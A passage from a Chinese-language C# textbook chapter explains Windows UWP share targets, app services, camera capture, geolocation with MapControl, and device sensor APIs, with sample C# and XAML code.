SharingTarget/ViewModels/ShareTargetViewModel.cs): public class ShareTargetPageViewModel: INotifyPropertyChanged { public event PropertyChangedEventHandler PropertyChanged; public void OnPropertyChanged([CallerMemberName] string propertyName = nu ll) { PropertyChanged? .Invoke(this, new PropertyChangedEventArgs(propertyNam e)); } // etc. private string _text; public string Text { get { return _text; } set { _text = value; OnPropertyChanged(); } } private string _html; public string Html { get { return _html; } set { _html = value; OnPropertyChanged(); } } private string _title; public string Title { get { return _title; } set { _title = value; OnPropertyChanged(); } } private string _description; public string Description { get { return _description; } set { _description = value; OnPropertyChanged(); } } } Activate方法是ShareTargetPageViewModel的一个重要部分。这里,ShareOperation对 象用于访问共享数据的信息,得到一些可用于显示给用户的元数据,如Title、Description 和可用数据格式的列表。如果出错,就调用ShareOperation的ReportError方法,把错误信 息显示给用户: public class ShareTargetPageViewModel: INotifyPropertyChanged { // etc. private ShareOperation _shareOperation; private readonly ObservableCollection<string> _shareFormats = new ObservableCollection<string>(); public string SelectedFormat { get; set; } public IEnumerable<string> ShareFormats => _shareFormats; public void Activate(ShareOperation shareOperation ) { string title = null; string description = null; try { _shareOperation = shareOperation; title = _shareOperation.Data.Properties.Title; description = _shareOperation.Data.Properties.Description; foreach (var format in _shareOperation.Data.AvailableFormats) { _shareFormats.Add(format); } Title = title; Description = description; } catch (Exception ex) { _shareOperation.ReportError(ex.Message); } } // etc. } 一旦用户选择数据格式,可以单击按钮,检索数据。这会调用RetrieveData方法。根 据用户的选择,在Data属性返回的DataPackageView实例上调用GetTextAsync或 GetHtmlFormatAsync。在检索数据前,调用方法ReportStarted;检索到数据后,调用方法 ReportDataRetrieved: public class ShareTargetPageViewModel: INotifyPropertyChanged { // etc. private bool dataRetrieved = false; public async void RetrieveData() { try { if (dataRetrieved) { await new MessageDialog("data already retrieved").ShowAsync(); } _shareOperation.ReportStarted(); switch (SelectedFormat) { case "Text": Text = await _shareOperation.Data.GetTextAsync(); break; case "HTML Format": Html = await _shareOperation.Data.GetHtmlFormatAsync(); break; default: break; } _shareOperation.ReportDataRetrieved(); dataRetrieved = true; } catch (Exception ex) { _shareOperation.ReportError(ex.Message); } } // etc. } 在示例应用程序中,检索到的数据显示在用户界面中。在真正的应用程序中,可以使 用任何形式的数据,例如,把它本地存储在客户端上,或者调用自己的Web服务并给它传 递数据。 最后,用户可以在UI中单击Report Completed按钮。通过Click处理程序,会在视图模 型中调用ReportCompleted方法,进而在ShareOperation实例上调用ReportCompleted方法。 这个方法关闭对话框: public class ShareTargetPageViewModel: INotifyPropertyChanged { // etc. public void ReportCompleted() { _shareOperation.ReportCompleted(); } // etc. } 在应用程序中,可以在检索数据之后调用前面的ReportCompleted方法。只要记住, 应用程序的对话框关闭时,调用此方法。 运行SharingTarget应用程序,如图33-6所示。 图33-6  注意: 测试分享所有支持格式的最佳方法是使用示例应用程序的Sharing Content Source应用程序示例和Sharing Content Target应用程序示例。两个示例应用程序 都在https://github.com/Microsoft/ Windows-universal-samples上。如果一个应用程序作为 共享源,就使用示例应用程序目标,反之亦然。  注意: 调试共享目标的一个简单方法是把Debug选项设置为Do Not Launch, but Debug My Code When It Starts。这个设置在Project Properties的Debug选项卡(参见 图33-7)中。使用此设置,可以启动调试器,一旦与这款应用程序共享数据源应用程序 中的数据,应用程序就启动。 图33-7 33.6 应用程序服务 在应用程序之间共享数据的另一种方法是使用应用程序服务。应用程序服务是 Windows 10的一个新功能,可以与调用Web服务相媲美,但对用户的系统而言,服务是本 地的。多个应用程序可以访问相同的服务,这是在应用程序之间共享信息的方式。应用服 务和Web服务之间的一个重要区别是,用户不需要使用这个特性进行交互;而可以在应用 程序中完成。 样例应用程序AppServices使用服务缓存Book对象。调用服务,可以检索Book对象的 列表,把新Book对象添加到服务中。 应用程序包含多个项目: ● 一个.NET移动库(BooksCacheModel)定义了这个应用程序的模型:Book类。为了 便于传输数据,提供一个扩展方法,把Book对象转换为JSON,把JSON转换为 Book对象。这个库在所有其他项目中使用。 ● 第二个项目(BooksCacheService)是一个Windows运行库组件,定义了book服务本 身。这种服务需要在后台运行,因此实现一个后台任务。 ● 后台任务需要注册到系统中。这个项目是一个Windows应用程序 BooksCacheProvider。 ● 调用应用程序服务的客户机应用程序是一个Windows应用程序BooksCacheClient。 下面看看这些部分。 33.6.1 创建模型 移动库BooksCacheModel包含Book类、利用NuGet包Newtonsoft.Json转换到JSON的转 换器以及存储库。 Book类定义了Title和Publisher属性(代码文件AppServices / BooksCacheModel / Book.cs): public class Book { public string Title { get; set; } public string Publisher { get; set; } } BooksRepository类包含Book对象的内存缓存,允许用户通过AddBook方法添加book对 象,使用Books属性返回所有缓存的书。为了查看一本书,而无须添加新书,初始化时把 一本书添加到列表中(代码文件AppServices /BooksCacheModel / BooksRepository.cs): public class BooksRepository { private readonly List<Book> _books = new List<Book>() { new Book {Title = "Professional C# 6", Publisher = "Wrox Press" } }; public IEnumerable<Book> Books => _books; private BooksRepository() { } public static BooksRepository Instance = new BooksRepository(); public void AddBook(Book book) { _books.Add(book); } } 因为通过应用程序服务发送的数据需要序列化,所以扩展类BookExtensions定义了一 些扩展方法,把Book对象和Book对象列表转换为JSON字符串,反之亦然。给应用程序服 务传递一个字符串是很简单的。扩展方法利用了NuGet包Newtonsoft.Json中可用的类 JsonConvert (代码文件AppServices / BooksCacheModel(BookExtensions.cs): public static class BookExtensions { public static string ToJson(this Book book) => JsonConvert.SerializeObject(book); public static string ToJson(this IEnumerable<Book> books) => JsonConvert.SerializeObject(books); public static Book ToBook(this string json) => JsonConvert.DeserializeObject<Book>(json); public static IEnumerable<Book> ToBooks(this string json) => JsonConvert.DeserializeObject<IEnumerable<Book>>(json); } 33.6.2 为应用程序服务连接创建后台任务 现在进入这个示例应用程序的核心:应用程序服务。需要把应用服务实现为Windows Runtime组件库,通过实现接口IBackgroundTask把它实现为一个后台任务。Windows后台 任务可以在后台运行,不需要用户交互。 有不同种类的后台任务可用。后台任务的启动可以基于定时器的间隔、Windows推送 通知、位置信息、蓝牙设备连接或其他事件。 类BooksCacheTask是一个应用程序服务的后台任务。接口IBackgroundTask定义了需 要实现的Run方法。在实现代码中,定义了请求处理程序,来接收应用程序服务的连接 (代码文件AppServices/ BooksCacheService / BooksCacheTask.cs): public sealed class BooksCacheTask: IBackgroundTask { private BackgroundTaskDeferral _taskDeferral; public void Run(IBackgroundTaskInstance taskInstance) { _taskDeferral = taskInstance.GetDeferral(); taskInstance.Canceled += OnTaskCanceled; var trigger = taskInstance.TriggerDetails as AppServiceTriggerDetails; AppServiceConnection connection = trigger.AppServiceConnection; connection.RequestReceived += OnRequestReceived; } private void OnTaskCanceled(IBackgroundTaskInstance sender, BackgroundTaskCancellationReason reason) { _taskDeferral? .Complete(); } // etc. 在OnRequestReceived处理程序的实现代码中,服务可以读取请求,且需要提供回 应。接收到的请求都包含在AppServiceRequestReceivedEventArgs的Request.Message属性 中。Message属性返回一个ValueSet对象。ValueSet是一个字典,其中包含键及其相应的 值。这里的服务需要一个command键,其值是GET或POST。GET命令返回一个包含所有 书籍的列表,而POST命令要求把额外的键book和一个JSON字符串作为Book对象表示的 值。根据收到的消息,调用GetBooks或AddBook辅助方法。通过调用SendResponseAsync 把从这些消息返回的结果返回给调用者: private async void OnRequestReceived(AppServiceConnection sender, AppServiceRequestReceivedEventArgs args) { AppServiceDeferral deferral = args.GetDeferral(); try { ValueSet message = args.Request.Message; ValueSet result = null; switch (message["command"].ToString()) { case "GET": result = GetBooks(); break; case "POST": result = AddBook(message["book"].ToString()); break; default: break; } await args.Request.SendResponseAsync(result); } finally { deferral.Complete(); } } GetBooks方法使用BooksRepository获得JSON格式的所有书籍,它创建了一个 ValueSet,其键为result: private ValueSet GetBooks() { var result = new ValueSet(); result.Add("result", BooksRepository.Instance.Books.ToJson()); return result; } AddBook方法使用存储库添加一本书,并返回一个ValueSet,其中的键是result,值是 ok: private ValueSet AddBook(string book) { BooksRepository.Instance.AddBook(book.ToBook()); var result = new ValueSet(); result.Add("result", "ok"); return result; } 33.6.3 注册应用程序服务 现在需要通过操作系统注册应用程序服务。为此,创建一个正常UWP应用程序,它 引用了BooksCacheService。在此应用程序中,必须在package.appxmanifest中(见图33- 8)。在应用程序声明列表中添加一个应用程序服务,并指定名字。需要设置到后台任务 的入口点,包括名称空间和类名。 图33-8 对于客户端应用程序,需要package.appxmanifest定义的应用程序名和包名。为了查看 包名,可以调用Package.Current.Id.FamilyName。为了便于查看这个名字,把它写入属性 PackageFamilyName,该属性绑定到用户界面的一个控件上(代码文件 AppServices/BooksCacheProvider/MainPage.xaml. cs): public sealed partial class MainPage: Page { public MainPage() { this.InitializeComponent(); PackageFamilyName = Package.Current.Id.FamilyName; } public string PackageFamilyName { get { return (string)GetValue(PackageFamilyNameProperty); } set { SetValue(PackageFamilyNameProperty, value); } } public static readonly DependencyProperty PackageFamilyNameProperty = DependencyProperty.Register("PackageFamilyName", typeof(string), typeof(MainPage), new PropertyMetadata(string.Empty)); } 当运行这个应用程序时,它会注册后台任务,并显示客户端应用程序需要的包名。 33.6.4 调用应用程序服务 在客户端应用程序中,现在可以调用应用程序服务。客户端应用程序 BooksCacheClient的主要部分用视图模型实现。Books属性绑定在UI中,显示从服务返回 的所有书籍。这个集合用GetBooksAsync方法填充。GetBooksAsync使用GET命令创建一 个ValueSet,使用SendMessageAsync辅助方法发送给应用程序服务。这个辅助方法返回一 个JSON字符串,该字符串再转换为一个Book集合,用于填充Books属性的 ObservableCollection (代码文件AppServices / BooksCacheClient /ViewModels/BooksViewModel.cs): public class BooksViewModel { private const string BookServiceName = "com.CNinnovation.BooksCache"; private const string BooksPackageName = "CNinnovation.Samples.BookCache_p2wxv0ry6mv8g"; public ObservableCollection<Book> Books { get; } = new ObservableCollection<Book>(); public async void GetBooksAsync() { var message = new ValueSet(); message.Add("command", "GET"); string json = await SendMessageAsync(message); IEnumerable<Book> books = json.ToBooks(); foreach (var book in books) { Books.Add(book); } } PostBookAsync方法创建了一个Book对象,序列化为JSON,通过ValueSet把它发送给 SendMessageAsync方法: public string NewBookTitle { get; set; } public string NewBookPublisher { get; set; } public async void PostBookAsync() { var message = new ValueSet(); message.Add("command", "POST"); string json = new Book { Title = NewBookTitle, Publisher = NewBookPublisher }.ToJson(); message.Add("book", json); string result = await SendMessageAsync(message); } 与应用程序服务相关的客户代码包含在SendMessageAsync方法中。其中创建了一个 AppServiceConnection。连接使用完后,通过using语句销毁,以关闭它。为了把连接映射 到正确的服务上,需要提供AppServiceName和PackageFamilyName属性。设置这些属性 后,通过调用方法OpenAsync来打开连接。只有成功地打开连接,才能在调用方法中发送 请求和接收到的ValueSet。AppServiceConnection方法SendMessageAsync把请求发给服 务,返回一个AppServiceResponse对象。响应包含来自服务的结果,相应的处理如下: private async Task<string> SendMessageAsync(ValueSet message) { using (var connection = new AppServiceConnection()) { connection.AppServiceName = BookServiceName; connection.PackageFamilyName = BooksPackageName; AppServiceConnectionStatus status = await connection.OpenAsync(); if (status == AppServiceConnectionStatus.Success ) { AppServiceResponse response = await connection.SendMessageAsync(message); if (response.Status == AppServiceResponseStatus.Success && response.Message.ContainsKey("result")) { string result = response.Message["result"].ToString(); return result; } else { await ShowServiceErrorAsync(response.Status); } } else { await ShowConnectionErrorAsync(status); } return string.Empty; } } 在构建解决方案,部署提供程序和客户机应用程序后,就可以启动客户机应用程序来 调用服务。还可以创建多个客户机应用程序,来调用相同的服务。 在应用程序之间通信后,下面使用一些硬件。下一节使用相机记录照片和视频。 33.7 相机 应用程序的可视化越来越强,越来越多的设备提供了一两个相机内置功能,所以使用 这个功能就越来越成为应用程序的一个重要方面——这很容易通过Windows运行库实现。  注意: 使用相机需要在清单编辑器中配置Webcam功能。要录制视频,还需 要配置Microphone功能。 照片和视频可以用CameraCaptureUI类(在名称空间Windows.Media.Capture中)捕 获。首先,照片和视频设置需要配置为使用下面的CaptureFileAsync方法。第一个代码段 捕获照片。在实例化CameraCaptureUI类后,就应用PhotoSettings。可能的照片格式有 JPG、JPGXR和PNG。也可以定义剪辑,相机捕获功能的UI直接要求用户,根据剪辑大小 从完整的图片中选择一个剪辑。对于剪辑,可以用CroppedSizeInPixels属性定义像素大 小,或用CroppedAspectRatio定义一个比例。拍照后,示例代码会使用CaptureFileAsync方 法返回的StorageFile,把它存储为一个文件,通过FolderPicker放在用户选择的文件夹中 (代码文件Camera Sample/ MainPage.xaml.cs)。 private async void OnTakePhoto(object sender, RoutedEventArgs e) { var cam = new CameraCaptureUI(); cam.PhotoSettings.AllowCropping = true; cam.PhotoSettings.Format = CameraCaptureUIPhotoFormat.Png; cam.PhotoSettings.CroppedSizeInPixels = new Size(300, 300); StorageFile file = await cam.CaptureFileAsync(CameraCaptureUIMode.Photo); if (file ! = null) { var picker = new FileSavePicker(); picker.SuggestedStartLocation = PickerLocationId.PicturesLibrary; picker.FileTypeChoices.Add("Image File", new string[] { ".png" }); StorageFile fileDestination = await picker.PickSaveFileAsync(); if (fileDestination ! = null) { await file.CopyAndReplaceAsync(fileDestination); } } } 第二段代码用于录制视频。与前面类似,首先需要进行配置。除了PhotoSettings属性 之外,CameraCaptureUI类还定义了VideoSettings属性。可以根据最大分辨率和最大持续时 间限制所录制的视频(使用枚举值CameraCaptureUIMaxVideoResolution.HighestAvailable 允许用户选择任何可用的分辨率)。可能的视频格式有WMV和MP4: private async void OnRecordVideo(object sender, RoutedEventArgs e) { var cam = new CameraCaptureUI(); cam.VideoSettings.AllowTrimming = true; cam.VideoSettings.MaxResolution = CameraCaptureUIMaxVideoResolution.StandardDefinition; cam.VideoSettings.Format = CameraCaptureUIVideoFormat.Wmv; cam.VideoSettings.MaxDurationInSeconds = 5; StorageFile file = await cam.CaptureFileAsync( CameraCaptureUIMode.Video); if (file ! = null) { var picker = new FileSavePicker(); picker.SuggestedStartLocation = PickerLocationId.VideosLibrary; picker.FileTypeChoices.Add("Video File", new string[] { ".wmv" }); StorageFile fileDestination = await picker.PickSaveFileAsync(); if (fileDestination ! = null) { await file.CopyAndReplaceAsync(fileDestination); } } } 如果用户要捕获视频或图片,就可以把CameraCaptureUIMode.PhotoOrVideo参数传送 给CaptureFileAsync方法。 因为相机也记录位置信息,所以用户第一次运行应用程序时,会询问是否允许记录位 置信息,如图33-9所示。 图33-9 运行应用程序,就可以记录图片和视频。 33.8 Geolocation和MapControl 知道用户的位置是应用程序的一个重要方面。应用程序可能要显示地图,要显示用户 所在区域的天气情况,或者需要确定用户的数据应保存到哪个最近的云中心。在应用程序 中使用广告时,为了展示附近地区的广告(如果可用),用户位置就很重要。 在UWP应用程序中,还可以显示地图。在Windows 10中,MapControl可用作 Windows API的一部分,不需要使用额外的库,比如Bing SDK。 示例应用程序使用Geolocator(名称空间Windows.Devices.Geolocator,提供用户的地 址信息)和MapControl (名称空间Windows.UI.Xaml.Controls.Maps)。当然,也可以在应 用程序中相互独立地使用这些类型。 33.8.1 使用MapControl 在示例应用程序中,MapControl在MainPage中定义,其中把不同的属性和事件绑定到 MapsViewModel中的值上,通过页面的ViewModel属性访问。通过这种方式,可以在应用 程序中动态更改一些设置,查看MapControl可用的不同特性(代码文件MapSample / MainPage.xaml): <maps:MapControl x:Name="map" Center="{x:Bind ViewModel.CurrentPosition, Mode=OneWay}" MapTapped="{x:Bind ViewModel.OnMapTapped, Mode=OneTime}" Style="{x:Bind ViewModel.CurrentMapStyle, Mode=OneWay}" ZoomLevel="{x:Bind Path=ViewModel.ZoomLevel, Mode=OneWay}" DesiredPitch="{x:Bind Path=ViewModel.DesiredPitch, Mode=OneWay}" TrafficFlowVisible="{x:Bind checkTrafficFlow.IsChecked, Mode=OneWay, Converter={StaticResource nbtob}}" BusinessLandmarksVisible="{x:Bind checkBusinessLandmarks.IsChecked, Mode=OneWay, Converter={StaticResource nbtob}}" LandmarksVisible="{x:Bind checkLandmarks.IsChecked, Mode=OneWay, Converter={StaticResource nbtob}}" PedestrianFeaturesVisible="{x:Bind checkPedestrianFeatures.IsChecked, Mode=OneWay, Converter={StaticResource nbtob}}" /> 样例应用程序定义了控件,来配置SplitView的面板内右侧的MapControl。MapControl 在SplitView的内容中定义。SplitView控件详见第32章。 在后台代码文件中定义了ViewModel属性,把MapControl传递给构造函数,来实例化 MapsViewModel。通常最好避免让Windows控件直接访问视图模型,应该只使用数据绑定 来映射。然而,使用一些特殊的功能时,如街景地图,很容易直接使用MapsViewModel类 中的MapControl。因为这个视图模型类型不执行其他任何操作,且只能用于Windows设 备,所以可以把MapControl传递给MapsViewModel构造函数(代码文件MapSample / MainPage.xaml.cs): public sealed partial class MainPage: Page { public MainPage() { this.InitializeComponent(); ViewModel = new MapsViewModel(map); } public MapsViewModel ViewModel { get; } } MapsViewModel的构造函数初始化一些属性,这些属性绑定到MapControl的属性上, 如地图上的一个位置绑定到维也纳的一个位置,地图的样式绑定到一个路径变体上,调阶 为0,缩放级别为12(代码文件MapSample / ViewModels / MapsViewModel.cs): public class MapsViewModel: BindableBase { private readonly CoreDispatcher _dispatcher; private readonly Geolocator _locator = new Geolocator(); private readonly MapControl _mapControl; public MapsViewModel(MapControl mapControl) { _mapControl = mapControl; StopStreetViewCommand = new DelegateCommand( StopStreetView, () => IsStreetView); StartStreetViewCommand = new DelegateCommand( StartStreetViewAsync, () => ! IsStreetView); if (! DesignMode.DesignModeEnabled) { _dispatcher = CoreWindow.GetForCurrentThread().Dispatcher; } _locator.StatusChanged += async (s, e) => { await _dispatcher.RunAsync(CoreDispatcherPriority.Low, () => PositionStatus = e.Status); }; // intialize defaults at startup CurrentPosition = new Geopoint( new BasicGeoposition { Latitude = 48.2, Longitude = 16.3 }); CurrentMapStyle = MapStyle.Road; DesiredPitch = 0; ZoomLevel = 12; } 用初始配置启动应用程序,可以看到显示维也纳内一个位置的地图,该位置用 BasicGeoposition定义,右边是管理MapControl的控件,以及加载地图状态的文本信息(参 见图33-10)。 图33-10 放大,改变音高水平,选择要查看的地标和商业地标,可以看到著名的建筑,比如维 也纳的史蒂芬,如图33-11所示。 图33-11 切换到俯瞰视图,可以看到真实的图像,如图33-12所示。一些地方还显示Aerial3D 视图下漂亮的图片,如图33-13所示。 图33-12 图33-13 33.8.2 使用Geolocator定位信息 接下来,需要通过Geolocator实例_locator获得用户的实际位置。方法GetPositionAsync 返回一个Geoposition实例,来返回地理位置。结果应用于视图模型的CurrentPosition属 性,该视图模型绑定到MapControl的中心(代码文件MapSample / ViewModels / MapsViewModel.cs): { try { Geoposition position = await _locator.GetGeopositionAsync( TimeSpan.FromMinutes(5), TimeSpan.FromSeconds(5)); CurrentPosition = new Geopoint(new BasicGeoposition { Longitude = position.Coordinate.Point.Position.Longitude, Latitude = position.Coordinate.Point.Position.Latitude }); } catch (UnauthorizedAccessException ex) { await new MessageDialog(ex.Message).ShowAsync(); } } 从GetGeopositionAsync返回的Geoposition实例列出了Geolocator如何找到该位置的信 息:使用手机网络、卫星、记录的Wi-Fi network或IP地址。配置Geolocator时,可以指定 信息的准确程度。设置DesiredAccuracyInMeters属性,可以定义位置在一米范围内的准确 程度。当然,这个精度是我们希望达到的,但不可能完全达到。如果位置应该更精确,就 可以使用访问卫星所得的GPS信息。根据所需的技术,会消耗更多的电池,所以如果没有 必要,就不应该指定这样的准确性。如果设备没有提供这些功能,卫星或手机信息就不能 使用。在这些情况下,只能使用Wi-Fi network(如果可用)或IP地址。当然,IP地址可能 不精确。也许获得的是IP供应商(而不是用户)的地理位置。根据笔者使用的设备和网 络,准确性为64米。位置的来源是Wi-Fi。这个结果是非常准确的。地图如图33-14所示。 图33-14 33.8.3 街景地图 MapControl提供的另一个功能是街景地图。此功能不能用于所有的设备。在使用它之 前需要检查MapControl中的IsStreetsideSupported属性。如果设备支持街景地图功能,就可 以试着使用StreetsidePanorama类的静态方法FindNearbyAsync,找到附近的街边。街景地 图只能用于一些位置。可以测试,来找出自己的位置是否支持这个功能。如果 StreetsidePanorama信息是可用的,它可以传递到StreetsideExperience构造函数,分配给 MapControl的CustomExperience属性(代码文件 MapSample/ViewModels/MapsViewModel.cs): public async void StartStreetViewAsync() { if (_mapControl.IsStreetsideSupported ) { var panorama = await StreetsidePanorama.FindNearbyAsync(CurrentPosition); if (panorama == null) { var dlg = new MessageDialog("No streetside available here"); await dlg.ShowAsync(); return; } IsStreetView = true; _mapControl.CustomExperience = new StreetsideExperience(panorama); } } 街景地图如图33-15所示。 图33-15 33.8.4 继续请求位置信息 除了一次获得位置之外,位置还可以根据时间段或用户的移动来检索。使用 Geolocator,可以把ReportInterval属性设置为位置更新的最小时间段(单位为毫秒)。例 如,另一个应用程序需要较短时间段的位置信息,更新就可能比较频繁。除了时间段之 外,也可以指定用户的移动来触发位置信息的获得。属性MovementThreshold指定了这个 移动(以米为单位)。 设置了时间段或移动阈值后,PositionChanged事件会在每次更新位置时触发: private GeoLocator locator; private void OnGetContinuousLocation(object sender, RoutedEventArgs e) { locator = new Geolocator(); locator.DesiredAccuracy = PositionAccuracy.High; // locator.ReportInterval = 1000; locator.MovementThreshold = 10; locator.PositionChanged += (sender1, e1) => { // position updated }; locator.StatusChanged += (sender1, e1) => { // status changed }; }  注意: 用位置的变化来调试应用程序时,并不需要用户现在就钻进一辆汽 车,边开车边调试应用程序。模拟器是一个很有帮助的工具。 33.9 传感器 Windows运行库可以直接访问许多传感器。名称空间Windows.Devices.Sensors包含了 用于几个传感器的类,这些传感器可以通过不同的设备使用。 在介绍代码之前,先在表33-1中概述不同的传感器及其用途。一些传感器的功能非常 明确,但其他传感器需要一些解释。Windows提供了一些新的传感器。 表33-1 传感器 功能 光线 光线传感器返回单位为勒克斯的光线。这个信息由Windows 本身用于设置屏幕亮度 罗盘 罗盘提供了用磁力计测量出的设备偏离北方的角度。这个传 感器区分磁力北方和地理北方 加速计 加速计测量x、y和z设备轴上的重力值。应用程序可以使用 这个传感器显示在屏幕上滚过的钢珠 陀螺仪 陀螺仪测量沿着x、y和z设备轴上的角速度。如果应用程序 关注设备的旋转,就可以使用这个传感器。但是,移动设备 也会影响陀螺仪的值。可能需要用加速计的值来补偿陀螺仪 的值,以去除设备的移动,只处理实际的角速度 倾斜计 倾斜计给出了设备绕x轴(倾斜)、y轴(滚动)和z轴(偏 航)的角度值。应用程序显示匹配倾斜、滚动和偏航的飞机 时,可以使用这个传感器 气压计 气压计测量大气的压力(Windows 10新增的) 高度计 高度计测量相对高度(Windows 10新增的) 磁力计 磁力计测量磁场的强度和方向 步数计 步数计测量走过的步数。通常人们走路时不会带着PC, PC没 有传感器,但步数计在许多Windows 10手机上都有 (Windows 10新增的) 近距离传感器 近距离传感器测量临近对象的距离。它使用电磁场或红外探 测器来测量距离(Windows 10新增的) 根据设备,只有少数传感器是可用的。这些传感器只用在移动设备上。例如,用桌面 电脑计算步数,可能不会得到某人一天行走的步数。 传感器数据的一个重要方面是,传感器返回的坐标并不是Windows应用程序使用的坐 标系统方向。而使用设备的方向,这与基于设备的方向不同。例如,Surface Pro默认用水 平定位,其x轴指向右,y轴指向上,z轴从用户指向外部。 使用传感器的示例应用程序以两种方式显示几个传感器的结果:可以得到一次传感器 值,也可以不断使用事件读取它。使用这个应用程序可以看出,哪些传感器数据可以用于 设备,移动设备时会返回哪些数据。 对于应用程序所示的每个传感器,在主页中添加一个RelativePanel,其中包含两个按 钮和两个Textblock控件。下面的代码片段定义了光传感器的控件(代码文件 SensorSampleApp/MainPage.xaml): <Border BorderThickness="3" Margin="12" BorderBrush="Blue"> <RelativePanel> <Button x:Name="GetLightButton" Margin="8" Content="Get Light" Click="{x:Bind LightViewModel.OnGetLight}" /> <Button x:Name="GetLightButtonReport" Margin="8" RelativePanel.Below="GetLightButton" Content="Get Light Report" Click="{x:Bind LightViewModel.OnGetLightReport}" /> <TextBlock x:Name="LightText" Margin="8" RelativePanel.RightOf="GetLightButtonReport" RelativePanel.AlignBottomWith="GetLightButton" Text="{x:Bind LightViewModel.Illuminance, Mode=OneWay}" /> <TextBlock x:Name="LightReportText" Margin="8" RelativePanel.AlignLeftWith="LightText" RelativePanel.AlignBottomWith="GetLightButtonReport" Text="{x:Bind LightViewModel.IlluminanceReport, Mode=OneWay}" /> </RelativePanel> </Border> 33.9.1 光线 知道如何使用一种传感器后,其他传感器的用法是非常相似的。下面先看看 LightSensor。首先,调用静态方法GetDefault访问一个对象。调用GetCurrentReading方法 可以获得传感器的实际值。对于LightSensor, GetCurrentReading返回LightSensorReading对 象。这个读数对象定义了IlluminanceInLux属性,它返回单位为勒克斯的照明度(代码文 件SensorSample/ViewModels/LightViewModel.cs): public class LightViewModel: BindableBase { public void OnGetLight() { LightSensor sensor = LightSensor.GetDefault(); if (sensor ! = null) { LightSensorReading reading = sensor.GetCurrentReading(); Illuminance = $"Illuminance: {reading? .IlluminanceInLux}"; } else { Illuminance = "Light sensor not found"; } } private string _illuminance; public string Illuminance { get { return _illuminance; } set { SetProperty(ref _illuminance, value); } } // etc. } 要获得连续更新的值,应触发ReadingChanged事件。指定ReportInterval就指定了用于 触发事件的时间段。它不能低于MinimumReportInterval。对于该事件,第二个参数e的类 型是LightSensorReadingChangedEventArgs,用Reading属性指定LightSensorReading: public class LightViewModel: BindableBase { // etc public void OnGetLightReport() { LightSensor sensor = LightSensor.GetDefault(); if (sensor ! = null) { sensor.ReportInterval = Math.Max(sensor.MinimumReportInterval, 1000); sensor.ReadingChanged += async (s, e) => { LightSensorReading reading = e.Reading; await CoreApplication.MainView.Dispatcher.RunAsync( CoreDispatcherPriority.Low, () => { IlluminanceReport = $"{reading.IlluminanceInLux} {reading.Timestamp:T}"; }); }; } } private string _illuminanceReport; public string IlluminanceReport { get { return _illuminanceReport; } set { SetProperty(ref _illuminanceReport, value); } } } 33.9.2 罗盘 罗盘的用法非常类似。GetDefault方法返回Compass对象,GetCurrentReading检索表示 罗盘当前值的CompassReading。CompassReading定义了属性HeadingAccuracy、 HeadingMagneticNorth和HeadingTrueNorth。 如果HeadingAccuracy返回MagnometerAccuracy.Unknown或Unreliable,罗盘就需要校 正(代码文件SensorSampleApp/ViewModels/CompassviewModel.cs): public class CompassViewModel: BindableBase { public void OnGetCompass() { Compass sensor = Compass.GetDefault(); if (sensor ! = null) { CompassReading reading = sensor.GetCurrentReading(); CompassInfo = $"magnetic north: {reading.HeadingMagneticNorth} " + $"real north: {reading.HeadingTrueNorth} " + $"accuracy: {reading.HeadingAccuracy}"; } else { CompassInfo = "Compass not found"; } } private string _compassInfo; public string CompassInfo { get { return _compassInfo; } set { SetProperty(ref _compassInfo, value); } } // etc. } 罗盘也可以持续更新: public class CompassViewModel: BindableBase { // etc. public void OnGetCompassReport() { Compass sensor = Compass.GetDefault(); if (sensor ! = null) { sensor.ReportInterval = Math.Max(sensor.MinimumReportInterval, 1000); sensor.ReadingChanged += async (s, e) => { CompassReading reading = e.Reading; await CoreApplication.MainView.Dispatcher.RunAsync( CoreDispatcherPriority.Low, () => { CompassInfoReport = $"magnetic north: {reading.HeadingMagneticNorth} " + $"real north: {reading.HeadingTrueNorth} " + $"accuracy: {reading.HeadingAccuracy} {reading.Timestamp:T}"; }); }; } } private string _compassInfoReport; public string CompassInfoReport { get { return _compassInfoReport; } set { SetProperty(ref _compassInfoReport, value); } } } 33.9.3 加速计 加速计给出了x、y和z设备轴上的重力值。对于景观设备,x轴是水平的,y轴是垂直 的,z轴从用户指向外部。如果设备底部的Windows按钮面对桌面,x的值就是-1。如果旋 转设备,使Windows按钮在顶部,x的值就是+1。 与前面介绍的传感器类似,GetDefault静态方法返回Accelerometer, GetCurrentReading 通过AccelerometerReading对象给出了加速计的实际值。AccelerationX、AccelerationY和 AccelerationZ是可以读取的值(代码文件 SensorSampleApp/ViewModels/AccelerometerViewModel.cs): public class AccelerometerViewModel: BindableBase { public void OnGetAccelerometer() { Accelerometer sensor = Accelerometer.GetDefault(); if (sensor ! = null) { AccelerometerReading reading = sensor.GetCurrentReading(); AccelerometerInfo = $"X: {reading.AccelerationX} " + $"Y: {reading.AccelerationY} Z: {reading.AccelerationZ}"; } else { AccelerometerInfo = "Compass not found"; } } private string _accelerometerInfo; public string AccelerometerInfo { get { return _accelerometerInfo; } set { SetProperty(ref _accelerometerInfo, value); } } // etc. } 与其他传感器类似,给ReadingChanged事件指定处理程序,就可以获得加速计的连续 更新值。这与前面介绍的传感器完全相同,这里不再列出其代码。但使用本章的下载代码 可以获得该功能。可以测试设备,不断地移动它,读取加速计的值。 33.9.4 倾斜计 倾斜计用于高级方向,它给出了相对于重力的偏航、倾斜和滚动值(角度)。得到的 值用PitchDegrees、RollDegrees和YawDegrees属性指定(代码文件 SensorSampleApp/ViewModels/Inclino-meterView Model.cs): public class InclinometerViewModel: BindableBase { public void OnGetInclinometer() { Inclinometer sensor = Inclinometer.GetDefault(); if (sensor ! = null) { InclinometerReading reading = sensor.GetCurrentReading(); InclinometerInfo = $"pitch degrees: {reading.PitchDegrees} " + $"roll degrees: {reading.RollDegrees} " + $"yaw accuracy: {reading.YawAccuracy} " + $"yaw degrees: {reading.YawDegrees}"; } else { InclinometerInfo = "Inclinometer not found"; } } private string _inclinometerInfo; public string InclinometerInfo { get { return _inclinometerInfo; } set { SetProperty(ref _inclinometerInfo, value); } } // etc. } 33.9.5 陀螺仪 Gyrometer给出了x、y和z设备轴的角速度值(代码文件 SensorSampleApp/ViewModels/GyrometerViewModel.cs): public class GyrometerViewModel: BindableBase { public void OnGetGyrometer() { Gyrometer sensor = Gyrometer.GetDefault(); if (sensor ! = null) { GyrometerReading reading = sensor.GetCurrentReading(); GyrometerInfo = $"X: {reading.AngularVelocityX} " + $"Y: {reading.AngularVelocityY} Z: {reading.AngularVelocityZ}"; } else { GyrometerInfo = "Gyrometer not found"; } } private string _gyrometerInfo; public string GyrometerInfo { get { return 